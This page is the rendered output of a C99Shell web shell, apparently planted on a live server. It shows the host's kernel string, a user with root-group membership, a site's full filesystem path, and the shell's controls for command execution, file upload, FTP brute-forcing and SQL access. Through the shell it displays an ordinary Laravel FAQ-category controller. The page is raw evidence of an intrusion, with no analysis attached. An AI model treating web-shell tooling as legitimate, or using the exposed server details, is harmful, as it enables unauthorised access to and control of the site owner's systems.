!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/Modules/Faq/Http/Controllers/   drwxr-xr-x
Free 28.33 GB of 117.98 GB (24.01%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FaqCategoryController.php (4.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\Faq\Http\Controllers;

use 
Illuminate\Contracts\Support\Renderable;
use 
Illuminate\Http\Request;
use 
Illuminate\Routing\Controller;
use 
Illuminate\Support\Str;
use 
Modules\Faq\Actions\SortingFaqCategory;
use 
Modules\Faq\Entities\FaqCategory;

class 
FaqCategoryController extends Controller
{
    
/**
     * Display a listing of the resource.
     *
     * @return Renderable
     */
    
public function index()
    {
        
abort_if(! userCan('faq.view'), 403);
        try {

            
$data['faqCategories'] = FaqCategory::oldest('order')->get();

            return 
view('faq::faqcategory.index'$data);
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * Show the form for creating a new resource.
     *
     * @return Renderable
     */
    
public function create()
    {
        
abort_if(! userCan('faq.create'), 403);

        return 
view('faq::faqcategory.create');
    }

    
/**
     * Store a newly created resource in storage.
     *
     * @return Renderable
     */
    
public function store(Request $request)
    {
        
abort_if(! userCan('faq.create'), 403);

        
$request->validate([
            
'name' => 'required|unique:faq_categories,name',
            
'icon' => 'required',
        ]);
        try {

            
FaqCategory::create([
                
'name' => $request->name,
                
'slug' => Str::slug($request->name),
                
'icon' => $request->icon,
            ]);

            
flashSuccess('Faq Category Successfully Created');

            return 
back();
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * Show the form for editing the specified resource.
     *
     * @param  int  $id
     * @return Renderable
     */
    
public function edit(FaqCategory $faq_category)
    {
        
abort_if(! userCan('faq.update'), 403);
        try {

            
$data['faqCategories'] = FaqCategory::oldest('order')->get();
            
$data['item'] = $faq_category;

            return 
view('faq::faqcategory.index'$data);
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * Update the specified resource in storage.
     *
     * @param  int  $id
     * @return Renderable
     */
    
public function update(Request $requestFaqCategory $faq_category)
    {
        
abort_if(! userCan('faq.update'), 403);

        
$request->validate([
            
'name' => "required|unique:faq_categories,name,{$faq_category->id}",
        ]);
        try {

            
$faq_category->update([
                
'name' => $request->name,
                
'slug' => Str::slug($request->name),
                
'icon' => $request->icon,
            ]);

            
flashSuccess('Faq Category Successfully Updated');

            return 
redirect()->route('module.faq.category.index');
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @return Renderable
     */
    
public function destroy(FaqCategory $faq_category)
    {
        
abort_if(! userCan('faq.delete'), 403);
        try {

            
$faq_category->delete();

            
flashSuccess('Faq Category Successfully Deleted');

            return 
back();
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @return Response
     */
    
public function updateOrder(Request $request)
    {
        
abort_if(! userCan('faq.update'), 403);

        try {
            
SortingFaqCategory::sort($request);

            return 
response()->json(['message' => 'Faq Category Sorted Successfully!']);
        } catch (
\Throwable $th) {
            
flashError();

            return 
back();
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--